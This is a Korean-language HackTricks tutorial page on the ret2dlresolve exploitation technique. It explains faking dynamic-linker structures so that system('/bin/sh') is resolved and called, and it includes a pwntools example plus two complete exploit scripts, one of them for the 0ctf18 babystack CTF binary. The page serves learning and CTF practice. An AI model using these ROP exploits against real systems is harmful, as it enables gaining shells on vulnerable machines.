Ret2dlresolve

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

GOT/PLTRelro 페이지에서 설명한 대로, Full Relro가 없는 이진 파일은 사용될 때 처음으로 외부 라이브러리 주소와 같은 심볼을 해결합니다. 이 해결은 _dl_runtime_resolve 함수를 호출하여 발생합니다.

_dl_runtime_resolve 함수는 해결해야 하는 지정된 심볼을 해결하는 데 필요한 일부 구조에 대한 스택 참조를 가져옵니다.

따라서 모든 이러한 구조를 가짜로 만들어 요청된 심볼(예: system 함수)을 동적으로 연결하여 구성된 매개변수(예: system('/bin/sh'))로 호출할 수 있습니다.

일반적으로, 쓰기 가능한 메모리에서 read를 호출하는 초기 ROP 체인을 만들어 모든 이러한 구조 및 문자열 **'/bin/sh'**이 전달되어 알려진 위치에 읽혀지도록 만들고, 그런 다음 ROP 체인은 **_dl_runtime_resolve**를 호출하여 가짜 구조에서 system의 주소를 해결하고 이 주소를 $'/bin/sh'의 주소와 함께 호출합니다.

이 기술은 특히 시스템 호출 가젯이 없거나(ret2syscall 또는 SROP와 같은 기술을 사용하는 방법) libc 주소를 누설할 방법이 없는 경우에 유용합니다.

이 기술에 대한 좋은 설명을 보려면 비디오의 후반부를 확인하세요:

또는 단계별 설명을 보려면 다음 페이지를 확인하세요:

공격 요약

  1. 어딘가에 가짜 구조를 작성합니다.

  2. system의 첫 번째 인수를 설정합니다($rdi = &'/bin/sh').

  3. 구조체를 호출하기 위한 스택에 주소를 설정하여 **_dl_runtime_resolve**를 호출합니다.

  4. **_dl_runtime_resolve**를 호출합니다.

  5. **system**이 해결되어 '/bin/sh'를 인수로 호출됩니다.

pwntools 문서에 따르면 ret2dlresolve 공격은 다음과 같습니다:

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

예시

순수 Pwntools

이 기술의 예시를 여기에서 찾을 수 있습니다 최종 ROP 체인에 대한 매우 좋은 설명이 포함되어 있지만, 여기에 사용된 최종 악용은 다음과 같습니다:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

원시

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

기타 예제 및 참고 자료

Last updated